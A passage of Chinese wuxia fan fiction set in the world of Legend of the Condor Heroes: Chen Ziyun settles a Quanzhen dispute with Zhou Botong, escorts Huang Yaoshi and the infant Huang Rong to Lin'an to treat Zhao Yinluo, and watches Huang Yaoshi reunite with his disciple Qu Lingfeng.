“哦,那就是丘处机自作主张喽。这倒是好的,否则我还碍着王真人跟你的面子,不好上全真教兴师问罪。 竟然是丘处机那小道士的擅作主张,那到时候我找他就是了。” “别啊,别啊,云朵儿。” 周伯通连忙从山洞里跳了出来,他可是知道陈子云的身份的,那是南宋朝廷中顶贵的人,而且功夫不比自己师兄差。要是他真的打算找丘处机的麻烦,那他这个做师叔的怎么办,拦又拦不住,帮也帮不了。 “你就当给我周伯通一个薄面,就饶丘处机这一遭吧。” 周伯通讪笑着求情道。本来按照他的性子,哪里会管这些全真教小道士犯了什么错,也不过是因为王重阳羽化没多久,终究对全真教好有些作为师叔的连累罢了。 “哦,你这个师叔,到有几分担当摸样了。” 陈子云不置可否的说道。 “哎,自从师兄羽化,那帮小牛鼻子也是可怜的……” 以周伯通的性格,也露出了难得的伤感之色,这是想起了他那位师兄王重阳了。 “行了,别在我这里卖惨,朝廷也不会因为我的看法,就对全真教这样逾矩的行为视而不见。 要不然这江湖门派都有样学样,但凡你们看不过眼的就来个匹夫一怒血溅五步,那这天下不就又成了春秋战国了吗。” 陈子云郑重的道。 “诶呀,云朵儿,我周伯通也不懂这些门道,你就直接说吧,这事情要怎么才能揭过?” 周伯通抓着自己乱糟糟的头发,有些无赖的道。 陈子云隐晦的朝着一旁的黄药师瞥了一眼,在得到这位东道主的首肯之后,清清嗓子道。 “首先,就按你刚才说的,不管是全真教的意思还是丘处机的专断独行,全真教此后必须统一口径——这件事只能是丘处机任意妄为。 不管是江湖人闲人来打听,还是你们自己去宣扬。 这是一切的前提,要不然大宋朝廷就不得不为了平息江湖上的蠢蠢欲动,而对全真教出手惩戒。 第一,你必须尽快回到全真教,以开派祖师师弟,全真教师叔祖的身份公布,全真教只是江湖门派,绝不擅自参与朝政。 这一方面是给这个事情一个定性,另一方面也能让全真教在金国的统治下好过些,起码不用被逼着投敌。 这第三吗……” 陈子云故作矜持的顿了顿。 “第三,啊呀,云朵儿你怎么这么婆婆妈妈的,第三是什么,赶紧说吧。” 周伯通此时已经急的抓耳挠腮了。 “这第三,怕是还要药师兄帮忙,否则全真教怕就算能逃过朝廷的追责,也 是难逃江湖的纷争。” 陈子云朝着黄药师点头道。 “这怎么还跟黄老邪扯上关系了?” 周伯通不解的问道,他是有些怕黄药师了,这半年来被困在桃花岛,对方可 没少折腾他。 “这九阴真经的祸害,周伯通你是知道的,也正是因为如此,重阳真人才苦心孤诣的召开了华山论剑大会,希望一次平息江湖上不必要的争斗。 可如今他老人家已经羽化升仙,这九阴真经在全真教的名头却早就响彻天下,但凡稍微有些野心的江湖人,哪个不想一窥真经要义? 欧阳锋登门强抢的九阴真经的事情,难道那你这么快就忘了?” 陈子云道。 周伯通想起自己当时被欧阳锋打的毫无还手之力的凄惨摸样,不由自主的浑身发抖。 “那,那要如何是好?” “自然就是把你被抢了九阴真经的事情,彻底公开,让药师兄来替全真教背锅。想来以桃花岛的大阵,加上药师兄的本事,天下人绝没有能抢到九阴真经的可能。” 陈子云道。 “抢?黄老邪?” 周伯通有些不明所以的看了黄药师一眼。 “虽然说黄老邪不仗义,骗了我的经书,可那说抢,也是我自己笨。而且他也是只得了半部,这……” 周伯通这时候倒是不好意思的看了黄药师一眼。 “这是骗是抢,是半部还是整本,这天下间除去我们三人之外难道还有别人知晓吗?” 陈子云笑着道。 “那倒是没有了。” 周伯通恍然。 “如此,那如今只要药师兄愿意承担这份非分之责,那自然是一切皆了。” 陈子云跟周伯通全都不约而同的看向了黄药师。 “哼,黄某可没有这种闲情雅致。” 黄药师丑着脸说道。 “黄老邪,不,黄大哥,黄兄,黄老爷,你就帮帮我吧,就算我周伯通求你了。到时候我一定说是,你黄药师将我打的屁滚尿流,干净利落的抢去的九阴真经。 你武功盖世,不输我师兄,一定是未来的天下第一。” 周伯通直接就跪倒在了黄药师的面前凄惨的哭嚎着。 “起来。” 黄药师虽然不在乎世间礼法,可被这么一个顽童般的同龄人跪拜,终究是膈应人的很。 “不,黄老邪,你要是不答应,我就不起来。” 耍赖对于周伯通来讲,实在是顺手的很。 “你……” 黄药师正要发怒。 “药师兄,这件难事,怕是这天下间,真的非你莫属了。” 陈子云给黄药师使了个眼色。 “黄某人,久居外岛,就算是你们在中原说什么,我也不能知晓。至于说要是有人敢擅自上我的桃花岛,那就都留下给我做花肥吧。” 黄药师说完就直接拂袖而去。 “诶,诶,黄老邪,你别走啊,什么意思,你倒是说清楚啊。” 周伯通还想冲上去,陈子云一把拉住了他。 “好了,人家已经说的很明白了,不管你将来如何说九阴真经的事情,他黄药师都懒得管。” 陈子云给周伯通解释道。 “怎么讲都行?黄老邪不管?他同意了!” 周伯通也是终于反应了过来。他这个人啊,就是小事聪明,大事反而糊涂的典型。 陈子云微笑着点点头。 ”嘿嘿,没想到,黄老邪还挺仗义的。“ 周伯通笑哈哈的说道。 第二百四十九章 回临安 “走吧,港口正好有船在等我,你也跟我一起回去吧。回去之后,赶紧把事情办了,省的你那些全真教的徒子徒孙不知天高地厚,还以为自己是天下第一教派呢。” 陈子云道。 “什么天下第一教派,那是给我师兄的面子,就他们这些小牛鼻子,没有一个是聪明伶俐的,再练一百年也赶不上师兄的一半本事。” 周伯通在这方面倒是比所有全真教的人都看得清楚。至于说黄药师骗了他半部九阴真经的事情,其实周伯通哪里不知道自己根本不可能真的从对方手里夺回来。 他对于自己有几斤几两还是有点自知之明的。 况且,那位靠过目不忘的本事骗自己真经的黄夫人都已经死了,难道他周伯通还能去挖人家坟不成。 他之所以来桃花岛,问黄药师讨个说法,无非就是觉得辜负了自己师兄的期望,将他临死前托付给自己的真经给弄丢了而已。 至于说九阴真经的本身,其实周伯通是并没有这么在意的,反正师兄都不让他练,就算经书没有丢,他也不会看一眼。 陈子云带着周伯通登上了官船,众军士虽然有些差异他带回来的这个邋遢人物,但是也不敢多说什么。 陈子云让人安排给周伯通先梳洗一番之后,就直接让掌舵的返航了。至于说黄药师,既然对方已经答应了自己,那就不必担心他会出尔反尔。 此时的黄药师想来是在安排自己的宝贝女儿,那个闹腾人的小黄蓉。作为桃花岛的主人,自然是有的是办法出岛,不用陈子云担心。 周伯通一登岸,就急匆匆的要赶回终南山去,毕竟陈子云的话此时还历历在。要是真的那几个小牛鼻子将全真教领到了那个危险的位置上,那他师兄半辈子的心血可就白费了。 陈子云也打发了官船,让他们各归其位,自己却是在海边伫立着,即使夜幕降临也不曾离开半步。 当皓月升起,群星璀璨,徐徐的浪涛载着一艘逐波的小船而来。 还是一袭文士的青衫,那股从骨子里透出来的风雅,让人觉得天上的群星也不过是为了成为他的点缀儿闪。 不过,本来应该潇洒不羁的男子,此时怀中却有着一个四处张望的顽童。也不怕这无边的海景震慑,只是在自己父亲的怀里痴痴的笑着。 陈子云是没想到,黄药师这趟出来,竟然会带着小黄蓉一起随行,一个最闹人的年纪的孩子,也不知道他是怎么想的。 “药师兄,怎么把令千金也带出来了?” 陈子云问道。 “这孩子也不知为何,今天出门就是不肯放手,从前还不曾这样过。想来这次有子云兄在,到也不怕顾不过来,就索性一起带着她出来了。 说起来,这还是蓉儿第一次出岛。” 黄药师此时的嘴角倒是有了几分笑意,也不知道是因为自己可爱的女儿,还是因为了却了心中的夙愿。 “那我倒是要好好招待一下,咱们这位桃花岛的小公主了。” 陈子云轻轻点了点小黄蓉的额头,惹得她咯咯直笑。 这个时候的黄蓉,终究还是跟普通人一样的小屁孩,还不是那个古灵精怪的少女啊。 陈子云拿起黄药师放在船舱里的药箱,这显然是对方为了这趟出诊准备的。 陈子云在前面领路,这趟回程因为有小黄蓉在,自然不可能像他来时一样,直接策马狂奔的赶路了。 在舟山城里买了一辆马车,几人一路朝西而行。这趟回程,自然是要耽误些时间的,不过赵茵萝此时的状况也不是这一天两天的时间能挽回的。 陈子云来的时候,之所以这么匆忙,主要还是因为对于黄药师这个不确定因素的紧张。 如今对方既然已经答应了出诊,那这份急切的心,自然也就去了八成。 至于说黄药师到底能不能治好赵茵萝,那也是到了牛家村,看过了赵茵萝具体的状况之后该考虑的事情。 一路上,陈子云跟黄药师一边讨论着赵茵萝的伤势的医治之法,一边也在闲暇之余逗弄着小黄蓉。 毕竟要一个小孩子,在这狭小的马车里带着,属实有些难为人了。何况小黄蓉天生就是看着最辽阔的大海长大的,对这样的密闭空间有着天生的反感。 所以每次当陈子云跟黄药师讨论到关键处,小黄蓉总会用她最拿手的武器——哭闹,来将局面打乱。 让黄药师不得不立刻放下一切,开始哄自己的宝贝女儿。 好在这个当爹有当妈的父亲,终究是早就有所准备,从包裹里随便掏出一个什么东西就往小黄蓉嘴里塞。 陈子云只是看到一块类似糕点一样的东西,说来也奇怪,这东西一塞进小黄蓉的嘴里,她顿时就不哭闹了。 “药师兄,这是什么好东西?” “哈哈,不过是闲来无事,自己做的小东西罢了,子云兄也尝尝?” 黄药师从包裹里又掏出一块给陈子云递了过来。 陈子云看着这形似糯米糕的小东西,一口咬下去,一股花蜜的清香伴随着特殊的甜味,确实是难得的美味。 “药师兄原来还有这样的本领,在下佩服。” 陈子云这下也是终于知道,为何黄蓉年纪轻轻就有那般的厨艺了,原来这也是家传的绝技。 “子云见笑了,不过是被拙荆养叼的嘴,已经吃不惯仆从们做的饭菜了,这才不得已入庖厨,做羹汤。” 黄药师虽然这样说着,可脸上却没有丝毫因为违反了一般士人君子远庖厨的圣人教诲而来的羞愧,反倒是坦然的很。 这就是黄药师,这就是东邪。 “姆妈……” 小黄蓉因为还没有几颗牙齿,自己拿着糕点在吮吸着,这一块糕点就足够她耗费小半个时辰了。 不过看她的开心摸样,显然是正乐此不疲呢。 几百里的路,因为一路上都是马车,也就是等小黄蓉睡着了,或者是想看跑马的时候,陈子云才敢让车夫加速。 可就算这样,也是整整花了五天的时间,才从舟山回到了临安。 第二百五十章 为难 刚进城,陈子云就察觉到有人急匆匆的去报信了,大概率是宋宁宗派遣来的人,好让他第一时间了解自己闺女的具体情况。 如今陈子云既然请了黄药师回来,总算也能让宫里的那两位能睡个安稳觉了。 陈子云让马车夫直接将车赶进了牛家村陈府的后宅,随后跟府里的仆人吩咐一声,就直接带着黄药师越过了院墙,直接来到了赵茵萝居住的后院。 “姑姑……姑姑……是姑丈回来了。” 陈子云看着有些变了摸样的小荷,有些惊讶。 本来营养不良的样子,虽然看着干净,可终究是没什么美感可言,如今却已经能看出了些许美人胚子摸样。 也不知道,不过是五六天时间,赵茵萝是给她吃了什么东西,怎么突然就变了个摸样似的。 赵茵萝从里屋迎了出来,见到黄药师先是跟他行了个礼。 “见过黄岛主,又麻烦你专程来一次。” “嫂夫人不必如此,子云兄付出了足够让黄某心动的代价,要不然就算嫂夫人贵为公主,黄某也不一定会出岛。” 黄药师本来就不会什么虚与委蛇的客套,直接就点明了。 “黄岛主快人快语,依旧如此。” 赵茵萝也不见怪。 “嫂夫人还是尽快让黄某先看看伤势吧,虽然子云这一路都大致讲述了一遍,可黄某还是要亲自检查一番才好下定论。” 黄药师直接将小黄蓉交到了陈子云怀里,顺势从对方手里接过了药箱。 本来按照小黄蓉的性子,是不会轻易让黄药师以外的人抱她的。不过这几天来,陈子云想方设法的讨这位桃花岛小公主开心,才让她算是勉强接受了自己。 “地地……” 小黄蓉还是不舍的呼唤了一声。 不过黄药师这时候,自然是以正事为重。跟赵茵萝招呼一声,就示意进屋子里要检查一番她的伤势。 “黄岛主,茵萝的伤势如何,自己心中也清楚,这次就不用岛主操心了,我也已经习惯了带着面罩生活。” 万万没想赵茵萝竟然拒绝了黄药师的医治。 “茵萝!” 陈子云有些不相信的低声喝道。 黄药师皱皱眉头,可随即就从陈子云的手里接回了小黄蓉,又把药箱放在了地上。 “子云兄,那你们夫妻先商量吧。” 说完就带着小黄蓉往后院的花园里走去,顺便在经过盲女小荷的时候,把她也牵走了。 小荷虽然对于这个跟着自己姑丈回来的陌生人感觉很是奇怪,但是她天生的灵敏感官,早就告诉她自己姑姑跟姑丈有重要的事情要讲,也就任凭黄药师将她带走了。 “地地……地地……” 小黄蓉对于这位被自己爹爹牵着手的小姐姐倒是很好奇,不过她嘴里如今也就会这一个单词,反复的说着,表达着她的欢喜。 人就剩下他们两个,陈子云只是微微的叹了口气,他能理解此时赵茵萝不愿意治伤的心理。 无非就是怕连这最后的希望也破灭了,那这几天好不容易建立起来的心理防线就会彻底崩溃,到时候连她自己都不知道会做出什么事情来。 陈子云什么都没说,只是握住了赵茵萝那双同样带着手套的手,陪着她进了房间。 可陈子云如此,倒是反而让赵茵萝有些忐忑了。 “子云师傅,是茵萝让你费心了。” “傻姑娘,就当我请药师兄来我们新家做做客吧,反正他也就一个人待在自己那座孤岛上。 那女娃从出生开始就没见过多少人,也是可怜的紧。” 陈子云轻轻抚了抚赵茵萝的头发,那瞬间的颤抖,以及手下传来的触感,让他眼睛里竟然也有些发酸。 陈子云突然有种,那个曾经连看自己一眼都会害羞的可爱女孩,似乎再也不会回来了的错觉。 那他违背天命,将赵茵萝人为的增寿,到底是不是真的做对了。要是对方后半生的悠长时光,都要在这样的阴影里,斗篷下生活,这真的就比死了的好吗? 陈子云本以为黄药师会因为赵茵萝的拒绝治疗而直接打道回府,毕竟他可不是能忍着过活的人。 能在赵茵萝当场拒绝的时候不发脾气,已经是很给陈子云面子了。 没想到,等陈子云在花园里找到黄药师的时候,对方似乎正跟两个小姑娘玩的正开心。 小黄蓉也难得的离开了黄药师的怀抱,正在小荷的帮助下,一步一步的在绕着亭子学步。 “急急……急急……” 小黄蓉竟然这么快就掌握了第二个单词。 “药师兄,这次却是怠慢了。” 陈子云拱手做抱歉状。 “这小姑娘可是你的弟子?” 黄药师这一问犹如天外来客。 “什么?” 陈子云一时竟然也没有反应过来。 “我见她叫你姑丈,可这女娃也绝不会是南宋皇室成员。” 黄药师意有所指的说道。 “不,这世界我只教过茵萝一些武功。” 陈子云笑着摇头。 “哦!” 黄药师有些意味深长的看了陈子云一眼,师徒之恋,可不是这个世界的俗人鞥接受的。 “怎么,你黄药师也会有这种世俗的偏见?” 陈子云自然知道黄药师这一眼的意思。 “哼,我黄药师何时管过这些。我就问你,要是我收这女娃为徒,你们夫妻俩可是要与我为难?“ 黄药师添了些脾气的说道。 “药师兄稍安勿躁,这天下间能被药师兄看上的,已经是别人求都求不来的福气,我又如何会阻止。 只是这位小荷姑娘,却是拙荆在落难之时带回来了,恐怕情深的很,舍不舍得到时真要问问她才好。” 陈子云道。 “如此,那我就去问问嫂夫人。” 黄药师说完便要起身。 “别急,药师兄,此时拙荆正在休息。我倒是好奇,药师兄如何突然就看上了小荷,虽然我也很是喜欢她的心性,可毕竟……” 陈子云看了还在亭子下玩耍的盲女小荷道。 “毕竟她是个天生眼盲的是吗?没想到,子云兄你也是个俗物,只被这外表败絮所惑,看不到事物内里的金玉。” 黄药师甚是得意的嗤笑了一声道。 “药师兄是指小荷敏锐的感官?” 陈子云问道。 第二百五十一章 拒绝 “天盲之人,感官超越常人算得了什么,摆摊算命的也有个好耳朵。” 黄药师有些嘲讽的道。 “那到底是何物?,让药师兄如此器重?” 陈子云这下也迷惑了,他本来就跟小荷接触不多,除了表面能看得见感官敏锐,实在是想不出对方还有什么特别的。 “你可知我夫人最厉害的一样本事?” 黄药师面露缅怀之色的说道。 “过目不忘?” 陈子云不明所以的答了一句,一个盲女还能过目? “不错,刚才我不过是为了逗蓉儿开心,唱了一首夫人留下来的民谣,那女娃只是听了一遍,就能立即跟着唱出来。” 黄药师看着亭子下正在玩闹的两个那女孩儿,脸上浮出了淡淡的笑意。 “过耳不忘!” 陈子云也是惊讶满目。对于这让的世间罕见的天赋,就算是陈子云这样历经了几个世界的人,也不曾亲眼见过。 “会不会是小荷本来就会唱这首歌,嫂夫人应该是唱的江南的民歌吧。我看小荷的眉眼间也有着些江南女子的风韵,说不好就是小时候听人唱过,记下了。” 陈子云的担心也不无道理,就怕黄药师现在因为这个收徒,到后面却发现是空欢喜一场,那就不妙了。 “那她听了一遍我的碧波掌法要诀,也能一字不落的背诵,这又是如何?” 黄药师道。 “……” 陈子云还能说什么,只是依旧有些不可思议的看着那个跟小黄蓉玩闹的正开心的小身影。 这样百年难遇的奇才,就这么被赵茵萝给捡回来了? “药师兄,你这样一说,我倒是真舍不得放人了,哈哈……” 陈子云有些促狭的笑道。 “哼,好的徒弟也要有好的师傅教,良才美玉落到俗人手里,也不过是块顽石。” 黄药师道。 “不错,不错,药师兄教徒弟的本事,我也是佩服的……” 陈子云想到好像如今桃花岛可真没什么徒弟了,顿时就收住了口。 “不过,小荷的问题,还是要先问问拙荆,她们俩曾经患难与共,我怕要是小荷不想,她是绝不会逼她的。” “我黄药师收徒,也从不求人。” 黄药师就是这样的人,有惜才的心思,却绝不会违背自己的本心。 “姑丈,黄伯伯,你们快看啊,小蓉儿能自己走路了。” 小荷充满惊喜的话语像是雨后从荷叶上抖落的水珠一般轻盈,快活。 “好,好,哈哈……” 黄药师愉快的笑着,其实自己蹒跚学步的女儿,一举一动哪里会逃得过他这个老父亲的眼睛。 只是也配合着小荷的快乐,跟着欢笑而已。 不过对于一个父亲来讲,见到自己的孩子第一次迈出独立的步伐,自然也是欢喜的。 “这还是小荷教的好。” 陈子云蹲下来摸了摸依旧有些黄毛丫头摸样的小脑袋,夸赞道。 “没有了,是小蓉儿自己聪明。” 小荷有些害羞的享受着陈子云的关爱,一只手捏着自己的衣角,另一只胡乱的晃着,似乎一时找不到安放他的地方。 “那,小荷是不是很喜欢小蓉儿啊?” 陈子云问道。 “嗯,当然喜欢,小蓉儿这么可爱,怎么会有人不喜欢呢。” 小荷欢快的道。 “那要是跟小蓉儿一起生活,你愿意吗?小蓉儿跟这位黄伯伯,住在一个美丽的小岛上,你愿意跟他们一起去吗?” 陈子云问道。 可陈子云这句话刚问出口,那双本来闪着喜悦的大眼睛,瞬间就开始弥漫起雾气了。 嘴角挂下的小钩子,都快能吊起两瓶酱油了。 “诶,小荷,怎么哭了,不哭,不哭。” 陈子云这下也有些手忙脚乱了。 “姑丈,姑姑你们……你们是不是不要小荷了?是小荷哪里做的不好吗?你们不要抛弃小荷……呜呜呜……” 小荷已经泣不成声了。 “不,不,我们怎么会抛弃小荷呢。小荷这么可爱,这么乖,还这么懂事。” 陈子云连忙解释道。 “那,那姑丈为什么要把我送给黄……” 小荷连后面的称呼都不愿意说了,好像刚才的黄伯伯如今却成了要拆散她跟赵茵萝的坏人。 “小荷你误会了,你这些天应该也听到了些读书声,知道姑丈的家旁边是有个私塾的吧?” 陈子云缓缓道。 小荷一边抹着眼泪一边点头。 “其实啊,这就是跟那些学生来姑丈这里上学一样,只是这位黄伯伯希望那你能跟他学习一段时间,跟着他去他的小岛上,上几年私塾而已。 你要知道,这位黄伯伯可是天底下最厉害的几个人之一,好多人都求着他教学,他都是不教的。 这次是看你这么乖,又跟小蓉儿玩的这么开心,才破例教你的。 当然你愿不愿意去还是由你自己做主。“ 陈子云也用手指,小心的帮着已经哭花了脸的小荷擦拭着眼泪。 “小荷不会去的,她想学什么,我都可以找人来教她。” 赵茵萝不知道何时从房间里出来了,直接走到亭子里,一把就把小荷护在了自己怀里,那副样子像极了母兽保护幼崽。 “茵萝,我们只是在问小荷,又不会强迫她什么。” 陈子云觉得赵茵萝的反应有些过于紧张了。 “不用问,小荷的事情我做主。黄岛主,茵萝多谢你能不辞辛苦赶来,但要是你还敢打小荷的主意,别关我不留情面。” 赵茵萝也不在意黄药师已经变了的脸色,直接带着小荷就回了房间,还重重的将门给关上了,这明显是在跟陈子云表示她的不满。 “药师兄,这下恐怕我跟你都要吃闭门羹了。” 陈子云无奈的说道。 “我倒是不急,不过子云兄,这河东狮吼可是不好受的。” 黄药师自然不会放过打趣一番陈子云的机会。 陈子云本来想反驳一句,想说赵茵萝不是那样的个性。可当他想到对方这些年的变化,加上这次的劫难,难道赵茵萝真的就不会变嘛? 好个黄药师啊,这是要让他家宅不宁啊。 第二百五十二章 师徒相见 “药师兄,这个徒弟,我是没办法做主了,不过在这牛家村里,倒是有你另外一个徒弟在。” 陈子云这时也想起了还有个卖酒的曲三在一旁,要是任凭他自己瞎搞下去,说不得还是要跟原来一般,为了些身外物而葬送了性命。 黄药师倒是没有表现出陈子云预料中的激动,只是将小黄蓉抱在了怀里,淡淡的问了一句。 “谁?” “嘿,好你个黄老邪,难道就对这些个,因为你一时冲动,而废了腿脚的徒弟没有半点愧疚? 难道你的心还真是东海里的石头凿出来的?” 陈子云道。 “哼,桃花岛的事情,还容不得外人多嘴。” 黄药师也是脾气上来了,直接转身就走。 陈子云差点就急的打了自己一个嘴巴子,这不会因为一时之气,黄药师就真的这样一走了之吧。 不过当他看到那个被丢在地上的药箱时,他就知道,这哪里是要跑路,是分明急不可耐的去找曲三去了。 既然陈子云故作聪明的不说,那他黄药师便自己去找,这么一个小小的牛家村,难道还能找不见人。 本来按照陈子云的性格,黄药师跟曲三这种师徒相会的场面,他自然是没心思参合的。 可曲三毕竟在牛家村住了许久了,平时庄子上的酒水也是他在提供,还时不时送一些他自己专门挑选出来的佳酿送给陈子云品尝。 也算是有了些许情分,要是黄药师突然发疯,或者曲三稍稍怠慢了这位,那可不是陈子云希望看到的。 如此,陈子云也就只能往曲三的酒家去了。 而刚到了门口,就听到里面有低沉的哭诉声,陈子云怕是里面真出了什么事,直接跨过了大门紧闭的院墙,一跃而入。 打落黄药师当头弹来的石子,稳稳的落在院子内。 “药师兄,师徒相见何必这么大火气。” 原来这院子里的场面,曲三正跪倒在黄药师的面前,而嘴角还残留着一些嫣红。 一旁的黄药师将小黄蓉放在桌上任她玩耍,自己却是满脸的怒气。 这场面,一看就知道这对冤家师徒,肯定是起了争执了。 “子云兄,黄某绝不说第三遍,我桃花岛的事情,容不得外人插手。” 黄药师先是瞥了陈子云一眼,然后依旧愤愤的看着曲三,似乎对方犯了什么不可饶恕的过错。 “不错,前辈,这件事您就别管了。” 曲三解释道。 “师傅,前辈是我店里的常客,平时也很照拂弟子。” “好啊,你倒是有人照拂,那你的那几个师弟呢。尤其是眠风跟墨风,他们不过少年,你这个做大师兄的不去照拂,却躲在这里自己安逸。” 黄药师神色狠厉的斥责着。 陈子云本想说,这还是不是你个师傅自己糊涂犯下的过错,怎么还责怪起受害者来了。 可他也知道,要是自己这个时候在黄药师头上火上浇油,那说不得这位就真的能直接回桃花岛,那赵茵萝的伤就彻底没救了。 所以啊,就算看着曲三在那边心甘情愿的受罚,陈子云也只能爱莫能助的站在一旁看了。 桃花岛的弟子,对于他们这位如师如父的恩师都是奉若神明的,就算自己出言劝解,说不得还要反而被曲三埋怨。 所以陈子云索性来到一边,将在桌子上一个人无聊的玩弄着竹筒里的筷子的小黄蓉抱了起来。 黄药师见陈子云如此,只是轻轻的看了一眼,就任凭对方带着小黄蓉进了里屋,算是把这外院留给了这对师徒。 陈子云来到里屋,熟练的从陈旧酒架上拿了一坛酒,又从柜台上拿了一碟花生,一碟蚕豆。 就带着小黄蓉,找了一张干净些的桌子自酌自饮起来。 一边用筷子头,沾酒逗弄着小黄蓉,一边听着偶尔飘进耳朵里的师徒对话。 “将……找到……” “是……那玄风……” “死……” “终究……” “啪……” 一个清亮的耳光声,随后是曲三的赔罪声。 也不知道是不是被黄药师在桃花岛上虐待习惯了,得了斯得哥尔摩综合症,怎么这一个个的桃花岛弟子都这幅德行。 “啧啧……” 小黄蓉被酒味刺激的褶起了眉头,嘴里也发出嫌弃的声音,可每次当陈子云将筷子往她嘴里靠近的时候,总还是忍不住伸出粉嫩的小舌头舔,然后就又被辣的皱眉,如此往复。 陈子云自然是乐在其中,直到小黄蓉的脸蛋都开始泛红,他才停止了继续逗弄她。 等到陈子云将小菜都吃了个干净,酒坛里也少了大半坛子酒的时候,黄药师才终于带着神情带着兴奋与满足的曲三进来。 这要是放在现代社会,还不知道要被人如何看待。这两个容貌俊伟的人物,可是完全能碾压当代小奶狗的角色,难道真的喜欢这种调调。 “恭喜药师兄,重得高徒,我这里借花献佛,就将这半坛子酒当做贺礼,还望药师兄不要见怪。” 陈子云说着就抄起桌上的酒坛子,直接扔给了黄药师。 对方也不废话,直接接过,就狠狠的喝了两大口。 这样的行为,在曲三看来简直是不可思议的,毕竟在他心目中的师傅,虽然不受礼教约束,可行为举止总是优雅的,这样豪放的行为在桃花岛,也就是性子活泼些的师弟才有。 “哈哈哈……好好好,好个举坛饮酒黄老邪,人生快事,数失而复得为最,该当如此豪饮。” 陈子云哪里会不清楚此时的黄药师心头的情感,九阴真经已经烧给了亡妻,如今被自己当时一时冲动赶出门的衣钵传人又失而复得,就算他黄药师再强装镇静又有何用。 “喝……功夫没见长进,这酿酒的本事倒是厉害了不少。” 黄药师此言一出,一旁的曲三直颤动着身子,就要给黄药师磕头。 “还不再那些酒来,让我与子云兄好好饮上一场。” “是。” 曲三乐呵呵的就往自己的小密室里去了。给自己恩师喝的自然是要拿最好的酒,这些放在柜台上的,不过是一般的用来应付着牛家村的凡夫俗子的,哪里能入自己师父的口。 第二百五十三章 话说黑风 曲三从厨房的密室中拿出了几坛酿藏的酒,又切了些肉食,配了几个小菜,才将这勉强可以用来招待恩师的菜肴给端了上去。 “还不走?难道你还想跟我们坐着一起吃不成?没找到你的师弟之前,你就别回这个小酒店来找我了。” 黄药师直接挥手赶人。 “是,要是找不到几位师弟,灵风提头来见。” 曲三,也就是这位重归山门的桃花岛大弟子曲灵风,大步的出了门,好像那断腿也突然好了似的。 “药师兄,比起你的功夫,我倒是更加佩服你教徒弟的本事。不是说你这位大弟子如何了得,而是在被你断腿逐出师门之后,竟然还是这般的恭敬。 要是换做旁人,不怀恨在心,做些欺师灭祖的事就算是要烧高香了。” 陈子云仰头饮了一杯,此时他也是有了三分醉意,不过脑子还算清醒。 黄药师没有回话,只是拿起面前的酒碗,陪着陈子云也喝了一碗,随后看着手里的酒碗有些出神。 “几个徒弟里面,灵风的脾气最像我,什么都想学,人也聪明,什么都是一学就会。 就算是这酿酒的小玩意,也是有模有样的,这桃花酿,还是他学了我酿酒之后改良过的,如今在桃花岛上也没多少了。” “原来你黄药师也会多愁善感,我还以为你的心理就只剩下那位故去的嫂夫人,和这嗷嗷待哺的小黄蓉了。” 陈子云夹起一颗干果递给了在一旁站在登子上攀桌子的小黄蓉。 “呀呀……” 小黄蓉开心的接过,嘴里似乎在表达什么,不过除了她自己,谁也听不懂。 “当时,阿衡在我怀里去世的时候,我甚至想带着整个桃花岛陪着她一起去的,免得她孤单…… 其实什么九阴真经,不过也就是一时的好奇,我黄药师何时又真的放在心上过。 可他们如何敢偷我黄药师的东西,我给他们的难道就还不如这半步经书。 当时灵风拼命的拦着我,也是被我伤的最重的,要不是后来还是蓉儿的哭声惊醒了我,他就不单单是断腿这么简单了。” 黄药师缓缓说着。 “遇着你这么一个师傅,也不知道说是他们这些人幸运,能遇到个天下第一流的师傅;还是要说他们不幸,碰到个出手无情的疯子。” 陈子云夹了一块冷猪头肉,细细的嚼着,品味着别具一格的劲道。 黄药师也不吃菜,端起酒碗,又是一饮而尽。 “哦,对了,你另外的两位徒弟,如今在江湖上可是闯出了别样的名声。黑风双煞,嘿,还真是霸道的很。” 陈子云笑着咪了一口酒。斜眼看着黄药师的反应,他说的自然是桃花岛的叛徒,陈玄风跟梅超风。 黄药师脸上的缅怀之色瞬间就消失了,一闪而过的是愤怒与悲哀。 愤怒自然是好理解的,对于这两个欺师灭祖的弟子,自然是恨不得抽筋剥皮的,可悲哀又来自何处? 想他黄药师学贯古今,自创种种奇功,自问不输于天下人。而对于自己的徒弟,也从未懈怠,可以说是倾囊相授。 可这两个逆徒,留着好好的按部就班的桃花岛功夫不学,非要去偷学那本无根无萍的九阴真经。 难道他们以为,没有名师的指点,就凭他们那不过二三两的武学根底就能练就这真经上的武功? 实在是愚蠢至极。 “咔嚓……” 黄药师越想越气,手里的酒碗也被不小心捏碎了一个角。 陈子云将一个新的酒碗放到黄药师的面前,重新给他加上酒水。 “药师兄,你要不介意,我倒是想用用你这两位爱惹祸的徒弟。” 这下,黄药师手里的酒碗整个的都碎了,碎的相当的干净。 “你什么意思?” 黄药师眼神变的有些不善。 “诶,药师兄别紧张,我不过是想利用你这两位徒弟在江湖上的狼藉名声,替我潜入金国,做些收集消息的事情而已。” 陈子云道。 “你想让他们当间谍?” 黄药师哪里会想不明白,陈子云的意思。 “不错,药师兄虽然你超然物外,但是想必如今宋金两国的形式你也是清楚的。 不久前在大散关的那场试探性的攻防战,就是宋金大战的前戏。两边都想择机而战,却有下不了最后的决心。 无非是都暂时摸不透对方的虚实而已,但是这样的等待终究是有尽头的。而谁能在第一时间掌握,或者说比对方先一步掌握敌人的实情,谁就占据了这场大战的第一份优势,也可能是决定一切的优势。” 陈子云缓缓道。 “这与黄某何关,难道金国还能打到我桃花岛上来不成?” 黄药师脸上显然还是有些恼色。 “药师兄,何必说这些气话。自古都是覆巢之下无完卵,以药师兄的才学如何能不知道,这国战一旦开打,这天下间哪里还会有什么净土。 就算药师兄能置身事外,难道桃花岛,还有你这些徒弟,小黄蓉他们真的就能躲在你的羽翼下一辈吗?” 陈子云说到这儿,也就不再说了,拿起酒碗又开始咪一口咪一口的喝着。其实黄药师这样的聪明人,你只要将答案掀起一个角,对方就能直接看到全貌。 “桃花岛没有留下叛徒的习惯。” 黄药师神色阴厉的说道。 原来是陈子云想错,本来想着在原着中,这位最后终究还是对梅超风有几分情谊,就想着是对方不想让自己的徒弟沦落到当奸细的地步,哪里想到对方是不想让这两个叛徒活着。 “药师兄的意思,你要亲自出手?” 陈子云其实有些不解,原着中黑风双煞的名头本来就不小,要是黄药师想找这两个叛徒报复,想来也不是什么难事。 可黄药师却几乎从来都没有主动出手过,要说只是为了遵守自己立下的誓言,便对这两个几乎间接害死自己挚爱的人无动于衷,陈子云也是不信的。 “哼。” 黄药师冷哼了一声,却不说明具体缘由。 第二百五十四章 